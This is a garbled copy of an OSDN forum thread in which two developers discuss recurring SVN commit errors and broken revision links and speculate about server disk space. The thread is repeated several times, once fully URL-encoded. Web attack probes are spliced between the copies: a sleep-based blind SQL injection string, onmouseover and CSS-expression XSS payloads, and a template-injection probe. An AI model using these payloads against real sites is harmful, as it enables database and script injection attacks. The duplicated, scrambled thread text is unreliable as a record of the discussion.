%31%0A%5B%74%69%63%6B%65%74%3A%34%36%34%33%34%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%4A%75%73%74%20%6E%6F%77%20%49%20%74%72%69%65%64%20%74%6F%20%63%6F%6D%6D%69%74%20%74%6F%20%6F%6E%65%20%6F%66%20%6D%79%20%53%56%4E%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%61%6E%64%20%49%27%6D%20%67%65%74%74%69%6E%67%20%74%68%65%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%20%22%43%6F%75%6C%64%6E%27%74%20%70%65%72%66%6F%72%6D%20%61%74%6F%6D%69%63%20%69%6E%69%74%69%61%6C%69%7A%61%74%69%6F%6E%22%2E%0A%3E%20%0A%3E%20%57%68%65%6E%20%61%63%63%65%73%73%69%6E%67%20%76%69%61%20%74%68%65%20%77%65%62%73%69%74%65%2C%20%49%20%63%61%6E%20%62%72%6F%77%73%65%20%6D%79%20%66%69%6C%65%73%20%74%68%61%74%20%61%72%65%20%6F%6E%20%74%68%65%20%73%65%72%76%65%72%20%6E%6F%72%6D%61%6C%6C%79%20%28%53%6F%75%72%63%65%20%54%72%65%65%29%20%62%75%74%20%77%68%65%6E%20%63%6C%69%63%6B%69%6E%67%20%6F%6E%20%61%6E%79%20%6C%69%6E%6B%20%77%69%74%68%20%74%68%65%20%72%65%76%69%73%69%6F%6E%20%6E%75%6D%62%65%72%2C%20%61%6E%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%20%61%6C%73%6F%20%61%70%70%65%61%72%73%3A%20%22%49%6E%74%65%72%6E%61%6C%20%45%72%72%6F%72%22%20%77%69%74%68%20%74%68%65%20%66%6F%6C%6C%6F%77%69%6E%67%20%61%64%64%69%74%69%6F%6E%61%6C%20%74%65%78%74%3A%20%22%57%65%20%61%72%65%20%73%6F%72%72%79%20%66%6F%72%20%74%68%65%20%69%6E%63%6F%6E%76%65%6E%69%65%6E%63%65%2E%20%50%6C%65%61%73%65%20%74%72%79%20%61%67%61%69%6E%20%61%66%74%65%72%20%61%20%66%65%77%20%6D%69%6E%75%74%65%73%2E%20%49%66%20%79%6F%75%20%67%65%74%20%74%68%69%73%20%65%72%72%6F%72%20%63%6F%6E%74%69%6E%75%6F%75%73%6C%79%2C%20%70%6C%65%61%73%65%20%66%69%6C%65%20%61%20%6E%65%77%20%73%75%70%70%6F%72%74%20%74%69%63%6B%65%74%20%6F%72%20%63%6F%6E%74%61%63%74%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%2E%22%0A%3E%20%0A%3E%20%49%27%76%65%20%6E%6F%74%69%63%65%64%20%74%68%61%74%20%61%6C%6C%20%6D%79%20%70%72%6F%6A%65%63%74%20%72%65%76%69%73%69%6F%6E%20%6C%69%6E%6B%73%20%61%72%65%20%73%68%6F%77%69%6E%67%20%74%68%65%20%73%61%6D%65%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%2C%20%62%75%74%20%77%68%65%6E%20%49%20%63%6C%69%63%6B%20%6F%6E%20%74%68%65%73%65%20%73%61%6D%65%20%6C%69%6E%6B%73%20%69%6E%20%61%6E%6F%74%68%65%72%20%64%65%76%65%6C%6F%70%65%72%27%73%20%53%56%4E%20%70%72%6F%6A%65%63%74%20%68%65%72%65%20%6F%6E%20%4F%53%44%4E%2C%20%74%68%65%20%6C%69%6E%6B%20%77%6F%72%6B%73%20%63%6F%72%72%65%63%74%6C%79%2C%20%61%73%20%69%66%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%69%73%20%6F%6E%6C%79%20%61%66%66%65%63%74%69%6E%67%20%6D%79%20%70%72%6F%66%69%6C%65%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%30%30%33%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%49%20%61%6D%20%65%6E%63%6F%75%6E%74%65%72%69%6E%67%20%74%68%65%20%73%61%6D%65%20%69%73%73%75%65%20%6F%6E%20%6D%79%20%53%56%4E%20%72%65%70%6F%73%69%74%6F%72%69%65%73%2E%20%50%6C%65%61%73%65%20%68%65%6C%70%21%20%41%6C%73%6F%20%4F%50%20%69%73%20%61%20%70%72%65%74%74%79%20%63%6F%6F%6C%20%64%75%64%65%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%30%32%36%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%41%70%61%72%65%6E%74%6C%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%73%6F%6C%76%65%64%21%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%30%39%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%54%68%65%20%70%72%6F%62%6C%65%6D%20%69%73%20%68%61%70%70%65%6E%69%6E%67%2C%20%61%67%61%69%6E%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%33%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%49%74%20%64%69%73%61%70%70%65%61%72%65%64%20%61%67%61%69%6E%3F%3F%3F%20%57%65%6C%6C%20%49%20%64%69%64%20%73%65%6E%64%20%61%6E%20%45%2D%4D%61%69%6C%20%74%6F%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%34%20%28%E5%8C%BF%E5%90%8D%29%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%33%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%49%74%20%64%69%73%61%70%70%65%61%72%65%64%20%61%67%61%69%6E%3F%3F%3F%20%57%65%6C%6C%20%49%20%64%69%64%20%73%65%6E%64%20%61%6E%20%45%2D%4D%61%69%6C%20%74%6F%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%0A%3E%20%0A%3E%20%41%74%20%74%68%69%73%20%76%65%72%79%20%6D%6F%6D%65%6E%74%20%49%20%64%6F%6E%27%74%20%68%61%76%65%20%61%6E%79%20%73%6F%75%72%63%65%73%20%74%6F%20%63%6F%6D%6D%69%74%2C%20%73%6F%20%49%20%63%61%6E%27%74%20%67%75%61%72%61%6E%74%65%65%20%74%68%61%74%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%68%61%73%20%72%65%74%75%72%6E%65%64%2C%20%68%6F%77%65%76%65%72%2C%20%77%68%65%6E%20%63%6C%69%63%6B%69%6E%67%20%6F%6E%20%74%68%65%20%72%65%76%69%73%69%6F%6E%20%6E%75%6D%62%65%72%20%69%6E%20%6D%79%20%70%72%6F%6A%65%63%74%2C%20%49%20%63%61%6E%20%73%65%65%20%74%68%65%20%72%65%6C%61%74%65%64%20%70%61%67%65%2C%20%61%6E%64%20%62%65%66%6F%72%65%2C%20%77%68%65%6E%20%74%68%65%20%65%72%72%6F%72%20%68%61%70%70%65%6E%65%64%20%2C%20%49%20%63%6F%75%6C%64%6E%27%74%20%73%65%65%20%74%68%61%74%20%70%61%67%65%20%61%73%20%61%6E%20%65%72%72%6F%72%20%77%61%73%20%64%69%73%70%6C%61%79%65%64%2E%20%41%74%20%74%68%69%73%20%6D%6F%6D%65%6E%74%20%49%20%63%61%6E%20%73%65%65%2C%20%73%6F%20%49%20%67%75%65%73%73%20%49%20%64%6F%6E%27%74%20%68%61%76%65%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%61%6E%79%6D%6F%72%65%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%38%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%3E%20%0A%3E%20%68%74%74%70%73%3A%2F%2F%73%74%61%63%6B%6F%76%65%72%66%6C%6F%77%2E%63%6F%6D%2F%71%75%65%73%74%69%6F%6E%73%2F%39%30%31%32%35%33%38%2F%73%76%6E%2D%63%6F%6D%6D%69%74%2D%65%72%72%6F%72%2D%63%6F%75%6C%64%6E%74%2D%70%65%72%66%6F%72%6D%2D%61%74%6F%6D%69%63%2D%6F%70%65%72%61%74%69%6F%6E%0A%3E%20%0A%3E%20%4D%79%20%67%75%65%73%73%20%69%73%20%74%68%61%74%20%74%68%65%20%4F%53%44%4E%20%6F%77%6E%65%72%20%63%6F%6D%70%61%6E%79%20%69%73%20%73%6C%61%63%6B%69%6E%67%20%6F%6E%20%73%65%72%76%65%72%20%6D%61%69%6E%74%65%6E%61%6E%63%65%2E%20%52%65%61%64%20%74%68%65%20%70%6F%73%74%20%77%68%65%72%65%20%69%74%20%73%61%79%73%20%22%64%69%73%6B%20%73%70%61%63%65%22%2E%20%49%20%61%6D%20%6E%6F%74%20%65%6E%74%69%72%65%6C%79%20%73%75%72%65%21%20%49%20%6E%65%76%65%72%20%67%65%74%20%61%6E%79%20%45%2D%4D%61%69%6C%20%72%65%70%6C%69%65%73%20%66%72%6F%6D%20%74%68%65%6D%20%61%6E%64%20%6D%79%20%4A%61%70%61%6E%65%73%65%20%61%69%6E%27%74%20%67%6F%6F%64%20%65%6E%6F%75%67%68%20%74%6F%20%63%61%6C%6C%20%74%68%65%6D%2E%2E%2E%20%41%20%72%65%61%6C%20%73%68%61%6D%65%20%62%65%63%61%75%73%65%20%4F%53%44%4E%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%73%6F%20%77%65%6C%6C%20%77%68%65%6E%20%53%68%75%6A%69%20%53%61%64%6F%20%28%20%68%74%74%70%73%3A%2F%2F%6F%73%64%6E%2E%6E%65%74%2F%75%73%65%72%73%2F%73%61%64%6F%2F%20%29%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%74%68%69%6E%67%73%21%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%38%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%37%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%3E%20%54%6F%64%61%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%72%65%74%75%72%6E%73%2E%2E%2E%20%73%6F%6D%65%20%6D%69%6E%75%74%65%73%20%61%66%74%65%72%20%6D%79%20%6C%61%73%74%20%74%72%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%67%6F%6E%65%2E%2E%2E%20%57%68%61%74%20%61%72%65%20%68%65%70%70%65%6E%69%6E%67%3F%0A%3E%20%3E%20%0A%3E%20%3E%20%68%74%74%70%73%3A%2F%2F%73%74%61%63%6B%6F%76%65%72%66%6C%6F%77%2E%63%6F%6D%2F%71%75%65%73%74%69%6F%6E%73%2F%39%30%31%32%35%33%38%2F%73%76%6E%2D%63%6F%6D%6D%69%74%2D%65%72%72%6F%72%2D%63%6F%75%6C%64%6E%74%2D%70%65%72%66%6F%72%6D%2D%61%74%6F%6D%69%63%2D%6F%70%65%72%61%74%69%6F%6E%0A%3E%20%3E%20%0A%3E%20%3E%20%4D%79%20%67%75%65%73%73%20%69%73%20%74%68%61%74%20%74%68%65%20%4F%53%44%4E%20%6F%77%6E%65%72%20%63%6F%6D%70%61%6E%79%20%69%73%20%73%6C%61%63%6B%69%6E%67%20%6F%6E%20%73%65%72%76%65%72%20%6D%61%69%6E%74%65%6E%61%6E%63%65%2E%20%52%65%61%64%20%74%68%65%20%70%6F%73%74%20%77%68%65%72%65%20%69%74%20%73%61%79%73%20%22%64%69%73%6B%20%73%70%61%63%65%22%2E%20%49%20%61%6D%20%6E%6F%74%20%65%6E%74%69%72%65%6C%79%20%73%75%72%65%21%20%49%20%6E%65%76%65%72%20%67%65%74%20%61%6E%79%20%45%2D%4D%61%69%6C%20%72%65%70%6C%69%65%73%20%66%72%6F%6D%20%74%68%65%6D%20%61%6E%64%20%6D%79%20%4A%61%70%61%6E%65%73%65%20%61%69%6E%27%74%20%67%6F%6F%64%20%65%6E%6F%75%67%68%20%74%6F%20%63%61%6C%6C%20%74%68%65%6D%2E%2E%2E%20%41%20%72%65%61%6C%20%73%68%61%6D%65%20%62%65%63%61%75%73%65%20%4F%53%44%4E%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%73%6F%20%77%65%6C%6C%20%77%68%65%6E%20%53%68%75%6A%69%20%53%61%64%6F%20%28%20%68%74%74%70%73%3A%2F%2F%6F%73%64%6E%2E%6E%65%74%2F%75%73%65%72%73%2F%73%61%64%6F%2F%20%29%20%77%61%73%20%72%75%6E%6E%69%6E%67%20%74%68%69%6E%67%73%21%0A%3E%20%0A%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%31%30%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%3E%20%0A%3E%20%46%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%20%49%20%77%6F%75%6C%64%20%73%61%79%21%20%49%74%20%63%6F%75%6C%64%20%6A%75%73%74%20%73%68%6F%77%20%68%6F%77%20%65%6E%74%68%75%73%69%61%73%74%20%77%65%20%61%72%65%20%61%62%6F%75%74%20%64%65%76%65%6C%6F%70%6D%65%6E%74%20%61%6E%64%20%53%75%62%56%65%72%73%69%6F%6E%20%28%53%56%4E%29%2E%20%41%6E%79%77%61%79%2C%20%49%20%64%69%64%20%63%6F%75%6E%74%2C%20%79%6F%75%20%63%75%72%72%65%6E%74%6C%79%20%68%61%76%65%20%32%33%20%61%6E%64%20%74%68%61%74%27%73%20%6F%6E%65%20%6D%6F%72%65%20%74%68%61%6E%20%49%20%68%61%76%65%2E%2E%2E%20%52%65%61%6C%6C%79%20%66%75%6E%6E%79%20%F0%9F%A4%A3%20%49%6D%61%67%69%6E%65%20%77%68%61%74%20%66%72%69%67%67%69%6E%20%77%6F%72%6B%20%61%20%6D%69%67%72%61%74%69%6F%6E%20%66%6F%72%20%6F%75%72%20%63%6F%64%65%62%61%73%65%73%20%77%6F%75%6C%64%20%69%6D%70%6C%79%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%32%36%20%28%E5%8C%BF%E5%90%8D%29%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%31%30%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%32%30%39%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%0A%3E%20%3E%20%3E%20%49%20%61%73%73%75%6D%65%20%74%68%69%73%20%69%73%73%75%65%20%69%73%20%6E%6F%74%20%61%66%66%65%63%74%69%6E%67%20%65%76%65%72%79%6F%6E%65%2E%20%49%20%68%61%76%65%20%6F%76%65%72%20%32%30%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%68%65%72%65%2E%20%44%6F%65%73%20%69%74%20%68%61%76%65%20%73%6F%6D%65%74%68%69%6E%67%20%74%6F%20%64%6F%20%77%69%74%68%20%69%74%3F%0A%3E%20%3E%20%0A%3E%20%3E%20%46%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%20%49%20%77%6F%75%6C%64%20%73%61%79%21%20%49%74%20%63%6F%75%6C%64%20%6A%75%73%74%20%73%68%6F%77%20%68%6F%77%20%65%6E%74%68%75%73%69%61%73%74%20%77%65%20%61%72%65%20%61%62%6F%75%74%20%64%65%76%65%6C%6F%70%6D%65%6E%74%20%61%6E%64%20%53%75%62%56%65%72%73%69%6F%6E%20%28%53%56%4E%29%2E%20%41%6E%79%77%61%79%2C%20%49%20%64%69%64%20%63%6F%75%6E%74%2C%20%79%6F%75%20%63%75%72%72%65%6E%74%6C%79%20%68%61%76%65%20%32%33%20%61%6E%64%20%74%68%61%74%27%73%20%6F%6E%65%20%6D%6F%72%65%20%74%68%61%6E%20%49%20%68%61%76%65%2E%2E%2E%20%52%65%61%6C%6C%79%20%66%75%6E%6E%79%20%F0%9F%A4%A3%20%49%6D%61%67%69%6E%65%20%77%68%61%74%20%66%72%69%67%67%69%6E%20%77%6F%72%6B%20%61%20%6D%69%67%72%61%74%69%6F%6E%20%66%6F%72%20%6F%75%72%20%63%6F%64%65%62%61%73%65%73%20%77%6F%75%6C%64%20%69%6D%70%6C%79%2E%0A%3E%20%0A%3E%20%41%62%6F%75%74%20%53%56%4E%2C%20%77%65%6C%6C%2C%20%62%65%73%69%64%65%73%20%6E%6F%74%20%6C%69%6B%69%6E%67%20%74%6F%20%66%6F%6C%6C%6F%77%20%66%61%64%73%2C%20%49%20%62%65%6C%69%65%76%65%20%74%68%61%74%20%66%6F%72%20%77%68%61%74%20%49%20%64%6F%2C%20%53%56%4E%20%69%73%20%6D%75%63%68%20%62%65%74%74%65%72%20%74%68%61%6E%20%47%49%54%2E%20%53%69%6D%70%6C%65%20%74%6F%20%75%73%65%2C%20%61%6E%64%20%54%6F%72%74%6F%69%73%65%20%53%56%4E%2C%20%69%6E%20%6D%79%20%6F%70%69%6E%69%6F%6E%2C%20%69%73%20%6D%75%63%68%20%62%65%74%74%65%72%20%64%6F%6E%65%20%74%68%61%6E%20%54%6F%72%74%6F%69%73%65%20%47%49%54%20%28%77%68%69%63%68%20%73%65%65%6D%73%20%74%6F%20%68%61%76%65%20%62%65%65%6E%20%6D%61%64%65%20%69%6E%20%61%20%68%75%72%72%79%20%74%6F%20%61%62%73%6F%72%62%20%61%20%67%72%6F%77%69%6E%67%20%6D%61%72%6B%65%74%29%2E%0A%3E%20%0A%3E%20%41%62%6F%75%74%20%6F%75%72%20%70%72%6F%62%6C%65%6D%2C%20%61%6C%74%68%6F%75%67%68%20%69%74%27%73%20%61%20%66%75%6E%6E%79%20%63%6F%69%6E%63%69%64%65%6E%63%65%2C%20%6D%61%79%62%65%2C%20%69%6E%20%66%61%63%74%2C%20%77%65%20%61%72%65%20%74%61%6B%69%6E%67%20%75%70%20%74%6F%6F%20%6D%75%63%68%20%73%70%61%63%65%20%6F%6E%20%74%68%65%20%4F%53%44%4E%2C%20%49%20%64%6F%6E%27%74%20%6B%6E%6F%77%2E%2E%2E%20%49%66%20%6F%6E%6C%79%20%73%6F%6D%65%6F%6E%65%20%63%61%6D%65%20%68%65%72%65%20%74%6F%20%73%61%79%20%69%66%20%74%68%69%73%20%69%73%20%69%74%2C%20%49%20%77%6F%75%6C%64%20%74%72%61%6E%73%66%65%72%20%73%6F%6D%65%20%6F%66%20%6D%79%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%62%61%63%6B%20%74%6F%20%53%6F%75%72%63%65%46%6F%72%67%65%2C%20%62%79%20%74%68%65%20%77%61%79%2C%20%49%27%6D%20%6F%6E%6C%79%20%68%65%72%65%20%74%6F%64%61%79%20%6F%6E%20%4F%53%44%4E%2C%20%62%65%63%61%75%73%65%20%53%6F%75%72%63%65%46%6F%72%67%65%20%77%61%73%20%68%61%76%69%6E%67%20%61%20%6C%6F%74%20%6F%66%20%70%72%6F%62%6C%65%6D%73%20%61%20%66%65%77%20%79%65%61%72%73%20%61%67%6F%2E%20%49%20%64%69%64%6E%27%74%20%77%61%6E%74%20%74%6F%20%6D%69%67%72%61%74%65%20%65%76%65%72%79%74%68%69%6E%67%20%62%61%63%6B%20%74%68%65%72%65%20%3A%2F%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%35%66%70%51%28%39%37%38%34%34%29%22
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
%31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%37%68%72%75%28%39%32%30%32%34%29%22
555
<th:t="${dfb}#foreach
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"sTYLe='zzz:Expre/**/SSion(5fpQ(9477))'bad="
1
555
1"sTYLe='zzz:Expre/**/SSion(7hru(9816))'bad="
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
